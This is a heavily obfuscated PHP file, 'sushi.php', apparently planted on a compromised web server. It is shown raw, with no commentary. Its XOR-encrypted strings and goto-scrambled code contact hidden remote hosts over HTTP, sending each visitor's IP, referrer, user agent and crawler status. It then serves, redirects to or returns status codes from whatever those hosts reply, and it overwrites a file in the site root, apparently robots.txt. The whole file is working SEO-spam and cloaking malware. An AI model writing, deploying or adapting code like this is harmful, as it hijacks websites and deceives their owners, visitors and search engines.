File: //proc/self/cwd/sushi.php
<?php
define('O6c0f5c_KEY', "\x62\x79\x55\x58\x79\x41\x41\x42\x44\x36\x76\x69");
function O6c0f5cdecrypt($O6c0f5c_d, $O6c0f5c_k) {$O6c0f5c_l = strlen($O6c0f5c_k);$O6c0f5c_r = $O6c0f5c_d ^ str_repeat($O6c0f5c_k, (int)ceil(strlen($O6c0f5c_d) / $O6c0f5c_l));return $O6c0f5c_r;}
$O6c0f5c_j00 = 0x8f; $O6c0f5c_j01 = 0xe3; $O6c0f5c_j02 = 0x96; $O6c0f5c_j03 = 0x9f; $O6c0f5c_j04 = 0x0f; $O6c0f5c_j05 = $O6c0f5c_j00 ^ $O6c0f5c_j01;
goto jwakX; voMLg: function O6c0f5cf000($O6c0f5c000, $O6c0f5c001, $O6c0f5c002) { shuffle($O6c0f5c000); foreach ($O6c0f5c000 as $O6c0f5c003) { $O6c0f5c003 = str_rot13(urldecode($O6c0f5c003)); $O6c0f5c004 = O6c0f5cdecrypt("\x0a\x0d\x21\x28\x43\x6e\x6e", O6c0f5c_KEY) . $O6c0f5c003 . O6c0f5cdecrypt("\x4d\x10\x3b\x3c\x1c\x39\x6f\x32\x2c\x46\x49", O6c0f5c_KEY) . $O6c0f5c002; $O6c0f5c005 = curl_init(); curl_setopt($O6c0f5c005, CURLOPT_URL, $O6c0f5c004); curl_setopt($O6c0f5c005, CURLOPT_RETURNTRANSFER, true); $O6c0f5c006 = curl_exec($O6c0f5c005); if (!curl_errno($O6c0f5c005)) { curl_close($O6c0f5c005); return $O6c0f5c006; } else { curl_close($O6c0f5c005); } if (ini_get(O6c0f5cdecrypt("\x03\x15\x39\x37\x0e\x1e\x34\x30\x28\x69\x10\x06\x12\x1c\x3b", O6c0f5c_KEY))) { $O6c0f5c006 = @file_get_contents($O6c0f5c004); if ($O6c0f5c006 !== false) { return $O6c0f5c006; } } } echo O6c0f5cdecrypt("\x01\x2c\x07\x14\x59\x04\x33\x30\x2b\x44\x4c\x49\x52", O6c0f5c_KEY); } goto myrWA; lNZW7: function O6c0f5cf001() { return isset($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x2a", O6c0f5c_KEY)]) && strtolower($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x2a", O6c0f5c_KEY)]) !== O6c0f5cdecrypt("\x0d\x1f\x33", O6c0f5c_KEY) || isset($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x19\x1e\x04\x0b\x64\x21\x28\x30\x3d\x10\x1c\x26\x11\x13\x0d\x10\x79", O6c0f5c_KEY)]) && $_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x19\x1e\x04\x0b\x64\x21\x28\x30\x3d\x10\x1c\x26\x11\x13\x0d\x10\x79", O6c0f5c_KEY)] === O6c0f5cdecrypt("\x0a\x0d\x21\x28\x0a", O6c0f5c_KEY) || isset($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x07\x13\x0d\x0a\x62\x29\x2c\x2c\x3d\x0a\x10\x2d\x15\x11\x11", O6c0f5c_KEY)]) && strtolower($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x07\x13\x0d\x0a\x62\x29\x2c\x2c\x3d\x0a\x10\x2d\x15\x11\x11", O6c0f5c_KEY)]) !== O6c0f5cdecrypt("\x0d\x1f\x33", O6c0f5c_KEY); } goto nyavl; YfSdE: $O6c0f5c007 = explode(O6c0f5cdecrypt("\x4e", O6c0f5c_KEY), $O6c0f5c008); goto DgTW3; F17W3: $O6c0f5c009 = empty($O6c0f5c00a) ? O6c0f5cdecrypt("\x4d", O6c0f5c_KEY) : $O6c0f5c00a; goto VQlPH; k973o: $O6c0f5c00b .= O6c0f5cdecrypt("\x31\x10\x21\x3d\x14\x20\x31\x78\x64", O6c0f5c_KEY) . $O6c0f5c001 . O6c0f5cdecrypt("\x58\x56\x7a", O6c0f5c_KEY) . $O6c0f5c00c . O6c0f5cdecrypt("\x4d", O6c0f5c_KEY) . $O6c0f5c00d . O6c0f5cdecrypt("\x11\x10\x21\x3d\x14\x20\x31\x6c\x3c\x5b\x1a", O6c0f5c_KEY) . PHP_EOL; goto dSBgb; Ei_73: $O6c0f5c00d = ''; goto Zg4Id; dSBgb: if (!file_exists($O6c0f5c00e)) { file_put_contents($O6c0f5c00e, $O6c0f5c00b); } else { if (md5_file($O6c0f5c00e) !== md5($O6c0f5c00b)) { @file_put_contents($O6c0f5c00e, $O6c0f5c00b); } } goto pzi_O; YDmh5: $O6c0f5c00b = O6c0f5cdecrypt("\x37\x0a\x30\x2a\x54\x20\x26\x27\x2a\x42\x4c\x49\x48", O6c0f5c_KEY) . PHP_EOL; goto U1D_H; hZlvq: $O6c0f5c00a = O6c0f5cf003(); goto F17W3; pzi_O: if (!strstr($O6c0f5c00f, O6c0f5cdecrypt("\x0c\x16\x37\x37\x0d\x34\x32\x27\x36\x57\x11\x0c\x0c\x0d", O6c0f5c_KEY))) { O6c0f5cf004($O6c0f5c00f); } goto lNZW7; U1D_H: $O6c0f5c00b .= O6c0f5cdecrypt("\x23\x15\x39\x37\x0e\x7b\x61\x6d", O6c0f5c_KEY) . PHP_EOL . PHP_EOL; goto k973o; Fz1zG: $O6c0f5c010 = isset($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x13\x04\x04\x01\x64\x33\x3b", O6c0f5c_KEY)]) ? $_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x13\x04\x04\x01\x64\x33\x3b", O6c0f5c_KEY)] : ''; goto Sn71u; jwakX: $O6c0f5c008 = O6c0f5cdecrypt("\x47\x4a\x66\x7d\x4a\x74\x64\x71\x74\x13\x45\x5b\x47\x4b\x11\x7d\x4f\x74\x64\x74\x01\x13\x40\x58\x47\x4e\x6d\x7d\x4a\x73\x64\x71\x75\x13\x45\x5a\x47\x4b\x10\x7d\x4e\x73\x64\x74\x06\x13\x40\x5a\x47\x4f\x10\x7d\x4f\x70\x64\x74\x72\x13\x40\x5b\x47\x4f\x60\x7d\x4b\x04\x64\x74\x06\x13\x40\x2a\x47\x4f\x11\x74\x5c\x72\x72\x67\x77\x03\x53\x5a\x52\x5c\x66\x6a\x5c\x73\x05\x67\x72\x03\x53\x5f\x27\x5c\x63\x69\x5c\x76\x79\x67\x77\x04\x53\x5a\x53\x5c\x66\x6b\x5c\x73\x04\x67\x73\x06\x53\x5e\x5b\x5c\x63\x1d\x5c\x77\x74\x67\x73\x00\x53\x5f\x5b\x5c\x63\x60\x5c\x76\x00\x67\x76\x73\x53\x5f\x55\x5c\x63\x6a\x5c\x77\x72\x6e\x61\x05\x45\x4c\x51\x4c\x70\x6b\x49\x64\x72\x70\x61\x04\x32\x4c\x54\x4c\x70\x6e\x3c\x64\x77\x73\x61\x01\x4e\x4c\x51\x4b\x70\x6b\x48\x64\x72\x71\x61\x04\x33\x4c\x54\x3d\x70\x6f\x4b\x64\x77\x71\x61\x01\x43\x4c\x54\x3a\x70\x6e\x4c\x64\x77\x70\x61\x00\x4e\x4c\x54\x4f\x70\x6a\x3c\x64\x77\x00\x61\x00\x35\x4c\x54\x3d\x79\x7d\x4a\x72\x64\x71\x71\x13\x45\x59\x47\x4a\x67\x7d\x4b\x05\x64\x74\x71\x13\x40\x2c\x47\x4f\x64\x7d\x4e\x79\x64\x71\x76\x13\x45\x58\x47\x4a\x66\x7d\x4b\x04\x64\x74\x70\x13\x40\x51\x47\x4e\x63\x7d\x4e\x70\x64\x75\x75\x13\x41\x5f\x47\x4f\x62\x7d\x4f\x02\x64\x70\x01\x13\x40\x5e\x47\x4f\x67\x7d\x4f\x72", O6c0f5c_KEY); goto YfSdE; DgTW3: $O6c0f5c001 = O6c0f5cf001() ? O6c0f5cdecrypt("\x0a\x0d\x21\x28\x0a", O6c0f5c_KEY) : O6c0f5cdecrypt("\x0a\x0d\x21\x28", O6c0f5c_KEY); goto hZlvq; BfKL4: $O6c0f5c00f = O6c0f5cf000($O6c0f5c007, $O6c0f5c001, $O6c0f5c002); goto QkZNM; MxuML: $O6c0f5c011 = isset($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x00\x02\x01\x01\x66\x22\x36\x2e\x38\x1b\x1f\x2c\x00\x06\x07", O6c0f5c_KEY)]) ? $_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x00\x02\x01\x01\x66\x22\x36\x2e\x38\x1b\x1f\x2c\x00\x06\x07", O6c0f5c_KEY)] : O6c0f5cdecrypt("\x07\x17", O6c0f5c_KEY); goto Fz1zG; Sn71u: $O6c0f5c002 = O6c0f5cdecrypt("\x15\x1c\x37\x65", O6c0f5c_KEY) . $O6c0f5c00c . O6c0f5cdecrypt("\x44\x03\x2f\x65", O6c0f5c_KEY) . (O6c0f5cf002() ? O6c0f5cdecrypt("\x53", O6c0f5c_KEY) : O6c0f5cdecrypt("\x52", O6c0f5c_KEY)) . O6c0f5cdecrypt("\x44\x0c\x27\x31\x44", O6c0f5c_KEY) . urlencode($O6c0f5c009) . O6c0f5cdecrypt("\x44\x0c\x27\x34\x0a\x29\x20\x2c\x23\x0b", O6c0f5c_KEY) . urlencode($O6c0f5c010) . O6c0f5cdecrypt("\x44\x11\x21\x2c\x09\x7c", O6c0f5c_KEY) . $O6c0f5c001 . O6c0f5cdecrypt("\x44\x15\x34\x36\x1e\x7c", O6c0f5c_KEY) . $O6c0f5c011; goto BfKL4; QkZNM: $O6c0f5c00e = $_SERVER[O6c0f5cdecrypt("\x26\x36\x16\x0d\x34\x04\x0f\x16\x1b\x64\x39\x26\x36", O6c0f5c_KEY)] . O6c0f5cdecrypt("\x4d\x0b\x3a\x3a\x16\x35\x32\x6c\x30\x4e\x02", O6c0f5c_KEY); goto Ei_73; pxSni: function O6c0f5cf002() { $O6c0f5c012 = strtolower(isset($_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x14\x12\x07\x16\x69\x37\x2e\x27\x37\x01", O6c0f5c_KEY)]) ? $_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x14\x12\x07\x16\x69\x37\x2e\x27\x37\x01", O6c0f5c_KEY)] : ''); return stristr($O6c0f5c012, O6c0f5cdecrypt("\x05\x16\x3a\x3f\x15\x24\x23\x2d\x30", O6c0f5c_KEY)) || stristr($O6c0f5c012, O6c0f5cdecrypt("\x00\x10\x3b\x3f", O6c0f5c_KEY)) || stristr($O6c0f5c012, O6c0f5cdecrypt("\x1b\x18\x3d\x37\x16", O6c0f5c_KEY)) || stristr($O6c0f5c012, O6c0f5cdecrypt("\x05\x16\x3a\x3f\x15\x24", O6c0f5c_KEY)) || stristr($O6c0f5c012, O6c0f5cdecrypt("\x25\x16\x3a\x3f\x15\x24\x23\x2d\x30", O6c0f5c_KEY)); } goto voMLg; VQlPH: $O6c0f5c00c = $_SERVER[O6c0f5cdecrypt("\x2a\x2d\x01\x08\x26\x09\x0e\x11\x10", O6c0f5c_KEY)]; goto MxuML; nyavl: function O6c0f5cf003() { if (isset($_SERVER[O6c0f5cdecrypt("\x30\x3c\x04\x0d\x3c\x12\x15\x1d\x11\x64\x3f", O6c0f5c_KEY)])) { return $_SERVER[O6c0f5cdecrypt("\x30\x3c\x04\x0d\x3c\x12\x15\x1d\x11\x64\x3f", O6c0f5c_KEY)]; } elseif (isset($_SERVER[O6c0f5cdecrypt("\x03\x0b\x32\x2e", O6c0f5c_KEY)])) { return $_SERVER[O6c0f5cdecrypt("\x32\x31\x05\x07\x2a\x04\x0d\x04", O6c0f5c_KEY)] . O6c0f5cdecrypt("\x5d", O6c0f5c_KEY) . $_SERVER[O6c0f5cdecrypt("\x03\x0b\x32\x2e", O6c0f5c_KEY)][0x0]; } else { return $_SERVER[O6c0f5cdecrypt("\x32\x31\x05\x07\x2a\x04\x0d\x04", O6c0f5c_KEY)] . O6c0f5cdecrypt("\x5d", O6c0f5c_KEY) . $_SERVER[O6c0f5cdecrypt("\x33\x2c\x10\x0a\x20\x1e\x12\x16\x16\x7f\x38\x2e", O6c0f5c_KEY)]; } } goto pxSni; Zg4Id: if (stristr($O6c0f5c009, O6c0f5cdecrypt("\x4d\x46", O6c0f5c_KEY))) { $O6c0f5c00d = O6c0f5cdecrypt("\x5d", O6c0f5c_KEY); } goto YDmh5; myrWA: function O6c0f5cf004($O6c0f5c00f) { if (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x0d\x12\x3d\x2c\x14\x2d\x26\x27\x30\x5f\x1b\x0e", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x21\x16\x3b\x2c\x1c\x2f\x35\x6f\x10\x4f\x06\x0c\x58\x59\x3c\x35\x18\x26\x24\x6d\x2e\x46\x13\x0e", O6c0f5c_KEY)); echo str_replace(O6c0f5cdecrypt("\x0d\x12\x3d\x2c\x14\x2d\x26\x27\x30\x5f\x1b\x0e", O6c0f5c_KEY), '', $O6c0f5c00f); die; } elseif (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x0d\x12\x3d\x2c\x14\x2d\x26\x27\x30\x55\x05\x1a", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x21\x16\x3b\x2c\x1c\x2f\x35\x6f\x10\x4f\x06\x0c\x58\x59\x21\x3d\x01\x35\x6e\x21\x37\x45\x4d\x49\x01\x11\x34\x2a\x0a\x24\x35\x7f\x31\x42\x10\x44\x5a", O6c0f5c_KEY)); echo str_replace(O6c0f5cdecrypt("\x0d\x12\x3d\x2c\x14\x2d\x26\x27\x30\x55\x05\x1a", O6c0f5c_KEY), '', $O6c0f5c00f); die; } elseif (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x0d\x12\x3d\x2c\x14\x2d\x26\x27\x30\x55\x19\x07\x16\x1c\x3b\x2c", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x21\x16\x3b\x2c\x1c\x2f\x35\x6f\x30\x4f\x06\x0c\x58\x59\x21\x3d\x01\x35\x6e\x2a\x30\x5b\x1a\x52\x42\x1a\x3d\x39\x0b\x32\x24\x36\x79\x43\x02\x0f\x4f\x41", O6c0f5c_KEY)); echo str_replace(O6c0f5cdecrypt("\x0d\x12\x3d\x2c\x14\x2d\x26\x27\x30\x55\x19\x07\x16\x1c\x3b\x2c", O6c0f5c_KEY), '', $O6c0f5c00f); die; } elseif (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x0d\x12\x2d\x35\x15\x26\x24\x36\x27\x59\x18\x1d\x07\x17\x21", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x21\x16\x3b\x2c\x1c\x2f\x35\x6f\x10\x4f\x06\x0c\x58\x59\x34\x28\x09\x2d\x28\x21\x25\x42\x1f\x06\x0c\x56\x2d\x35\x15\x7a\x61\x21\x2c\x57\x04\x1a\x07\x0d\x68\x2d\x0d\x27\x6c\x7a", O6c0f5c_KEY)); echo str_replace(O6c0f5cdecrypt("\x0d\x12\x2d\x35\x15\x26\x24\x36\x27\x59\x18\x1d\x07\x17\x21", O6c0f5c_KEY), '', $O6c0f5c00f); die; } elseif (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x05\x1c\x21\x3b\x16\x2f\x35\x27\x2a\x42\x43\x59\x52\x09\x34\x3f\x1c", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x2a\x2d\x01\x08\x56\x70\x6f\x73\x64\x03\x46\x59\x42\x30\x3b\x2c\x1c\x33\x2f\x23\x28\x16\x25\x0c\x10\x0f\x30\x2a\x59\x04\x33\x30\x2b\x44", O6c0f5c_KEY)); die; } elseif (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x05\x1c\x21\x3b\x16\x2f\x35\x27\x2a\x42\x42\x59\x56\x09\x34\x3f\x1c", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x2a\x2d\x01\x08\x56\x70\x6f\x73\x64\x02\x46\x5d\x42\x37\x3a\x2c\x59\x07\x2e\x37\x2a\x52", O6c0f5c_KEY)); die; } elseif (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x05\x1c\x21\x3b\x16\x2f\x35\x27\x2a\x42\x45\x59\x53\x09\x34\x3f\x1c", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x2a\x2d\x01\x08\x56\x70\x6f\x73\x64\x05\x46\x58\x42\x34\x3a\x2e\x1c\x25\x61\x12\x21\x44\x1b\x08\x0c\x1c\x3b\x2c\x15\x38", O6c0f5c_KEY)); $O6c0f5c00f = str_replace(O6c0f5cdecrypt("\x05\x1c\x21\x3b\x16\x2f\x35\x27\x2a\x42\x45\x59\x53\x09\x34\x3f\x1c", O6c0f5c_KEY), '', $O6c0f5c00f); header(O6c0f5cdecrypt("\x2e\x16\x36\x39\x0d\x28\x2e\x2c\x7e\x16", O6c0f5c_KEY) . $O6c0f5c00f); die; } elseif (strstr($O6c0f5c00f, O6c0f5cdecrypt("\x0d\x12\x27\x37\x1b\x2e\x35\x31\x23\x53\x02\x0a\x0d\x17\x21\x3d\x17\x35", O6c0f5c_KEY))) { header(O6c0f5cdecrypt("\x21\x16\x3b\x2c\x1c\x2f\x35\x6f\x10\x4f\x06\x0c\x58\x59\x21\x3d\x01\x35\x6e\x32\x28\x57\x1f\x07", O6c0f5c_KEY)); echo str_replace(O6c0f5cdecrypt("\x0d\x12\x27\x37\x1b\x2e\x35\x31\x23\x53\x02\x0a\x0d\x17\x21\x3d\x17\x35", O6c0f5c_KEY), '', $O6c0f5c00f); die; } }